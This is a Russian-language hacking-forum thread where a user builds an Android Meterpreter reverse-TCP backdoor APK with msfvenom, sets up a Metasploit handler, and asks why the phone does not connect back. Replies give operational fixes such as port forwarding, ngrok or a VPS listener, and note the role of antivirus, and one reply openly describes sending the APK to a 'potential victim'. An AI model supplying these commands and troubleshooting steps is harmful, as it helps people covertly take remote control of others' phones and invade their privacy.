Toggle sidebar Toggle sidebar
РАЗБОР Проблема

Не подключается пэйлоад

DoomGuyB Автор недоступен
9,9 тыс.
[ обложка статьи ]
Режим чтения
Здравствуйте, вообщем проблема такая, создал я значит через Termux пэйлоад по такой схеме
Код: 
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=4444 R > Payload.apk
Попросил подругу помочь с тестом, установила она его на телефон и запустила, я попытался подключиться
Код: 
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.2.102
set LPORT 4444
И всё... 10 минут ждал подключение и нечего не произошло, подруга запускала повторно но результата всё нет, и нет.
Может кто-то что-то подскажит?
Полезно · 1
#metasploit #termux

Комментарии

35
#2
на новых версиях андроида не работает, пробуй на 4-5
 
#3
Подскажем. Две возможные причины.
1. У тебя в сети закрыт порт для входящих подключений. Если у тебя маршрутизатор(роутер), ищи как открыть порт в роутере. Если и это не помогло, гугли "Обход NAT".
2. У твоей подружки на ведроиде стоить антивирь, который заблочил твой бекдор.
 
#4
Да какой NAT, если 192.168.2.102 ))) , я так предпологаю, тестирует в своей внутренней сети. Какая у вас версия андройда?
 
  • Нравится
Реакции: CHEATER и Underwood
2
#5
GoodSmile сказал(а):
Подскажем. Две возможные причины.
1. У тебя в сети закрыт порт для входящих подключений. Если у тебя маршрутизатор(роутер), ищи как открыть порт в роутере. Если и это не помогло, гугли "Обход NAT".
2. У твоей подружки на ведроиде стоить антивирь, который заблочил твой бекдор.
Нажмите, чтобы раскрыть...

Маловероятно, у неё нет антивируса) и Гугл защита отключена
 
#6
Вас не смущают предупреждения при запуске метасплоита?
2018-08-15_12-50-23.png
 
#7
#8
#9
#10
Твоя " подруга" в локальной сети??? Если нет, проброс портов делай. В роутере переадресацию поищи...
 
#11
DoomGuyB сказал(а):
Нет
Нажмите, чтобы раскрыть...
Тогда могу предположить что вы под натом
Вот диапазоны :

10. 0. 0. 0 - 10. 255.255.255
172. 16. 0. 0 - 172. 31.255.255
192.168. 0. 0 - 192.168.255.255 # У вас 192.168.2.102

Вы можете воспользоваться ngrok, чтобы решить эту проблему: Обходим NAT
Или порт открыть.
 
  • Нравится
Реакции: AlexF и Sphinx
2
#12
Tayrus сказал(а):
Тогда могу предположить что вы под натом
Нажмите, чтобы раскрыть...
Если имеется ввиду открытие портов у меня на роутере - уже сделано, сейчас снова буду тестить
если у подруги - сама она это хрен сделает)0))
 
#13
DoomGuyB сказал(а):
Если имеется ввиду открытие портов у меня на роутере - уже сделано, сейчас снова буду тестить
если у подруги - сама она это хрен сделает)0))
Нажмите, чтобы раскрыть...
Это все у вас делать надо либо ngrok либо порты откройте либо другой какой-нибудь вариант.
 
#14
Подруга находится в другом сегменте сети,)) я вижу настройки для внутреннего сегмента сети.. что бы вам граммотно подсказать, вы можете описать топологию сети подруги и вашей?. Если она с внешней сети, то у вас неправильно скомпонована полезная нагрузка, а именно ее ip.
 
Последнее редактирование:
#15
kot-gor сказал(а):
Подруга находится в другом сегменте сети,)) я вижу настройки для внутреннего сегмента сети.. что бы вам граммотно подсказать, вы можете описать топологию сети подруги и вашей?. Если она с внешней сети, то у вас неправильно скомпонована полезная нагрузка.
Нажмите, чтобы раскрыть...
Можешь подсказать как её скомпоновать правильно?
 
#16
Все очень просто, если подруга во внешнем сегменте сети, то указываете ip в полезной нагрузке внешнее..правда ip должен у вас быть белый и в идеале статическим, если динамический ip , то используете NO-ip или ngrok.А лучше поднимите на vps листенер..тогда в apk указываете IP vps.
 
  • Нравится
Реакции: Sphinx
1
#17
kot-gor сказал(а):
Все очень просто, если подруга во внешнем сегменте сети, то указываете ip в полезной нагрузке внешнее..правда ip должен у вас быть белый и в идеале статическим, если динамический ip , то используете NO-ip или ngrok.А лучше поднимите на vps листенер..тогда в apk указываете IP vps.
Нажмите, чтобы раскрыть...
Спасибо, уже разбираюсь с ngrok.
 
#18
у меня такая-же проблема
как сделать это в локальной сети?
т.е мы подключены к одному вифи
пошагово
как исправить данную проблему?
 
#19
user345 сказал(а):
у меня такая-же проблема
как сделать это в локальной сети?
т.е мы подключены к одному вифи
пошагово
как исправить данную проблему?
Нажмите, чтобы раскрыть...
В принципе, в локальной сети не должно возникать никаких сложностей.
Необходимо указать IPv4-адрес (192.168.x.x) именно локальной сети при создании полезной нагрузки, а также как параметр LHOST в msfconsole.
Далее, всё проще: отправить потенциальной жертве сгенерированный payload.apk и ожидать установки, и, собственно, открытия приложения.
Если сессия не подаёт признаков жизни, значит на смартфоне установлена антивирусная защита. Данная защита — не обязательно стороннее ПО. Защита может поставляться в комплекте с операционной системой (обычно Android 5.0+).
 
  • Нравится
Реакции: Catharsis, Define и kot-gor
3
#20
Для локальной сети(когда все находятся в одном сегменте сети, всё должно работать.)
 
  • Нравится
Реакции: Sphinx
1
Для ответа нужно войти/зарегистрироваться
Продолжить чтение
Следующий разбор Координированное раскрытие уязвимостей: гайд

Ещё по теме

4
Михаил Гудилин СтатьяПентест Android-устройств с помощью Metasploit в 2026 году Михаил Гудилин·01.09.2026·Мобильная безопасность 0 2 тыс. 01.09.2026 Сергей Попов СтатьяРазработка шеллкода: от ручного написания на ассемблере до инъекции в процесс Сергей Попов·16.04.2026·Threat Intel 0 2 тыс. 16.04.2026 Сергей Попов СтатьяИнструменты пентестера: TOP-10 с реальными примерами в каждой фазе атаки Сергей Попов·23.04.2026·Арсенал специалиста по ИБ 0 3 тыс. 23.04.2026 Сергей Попов СтатьяСертификация по пентесту: OSCP vs CEH vs eJPT vs PNPT — честное сравнение от практика Сергей Попов·09.04.2026·Codeby Academy: курсы и сертификации 1 4 тыс. 09.04.2026
Верх Низ
Назад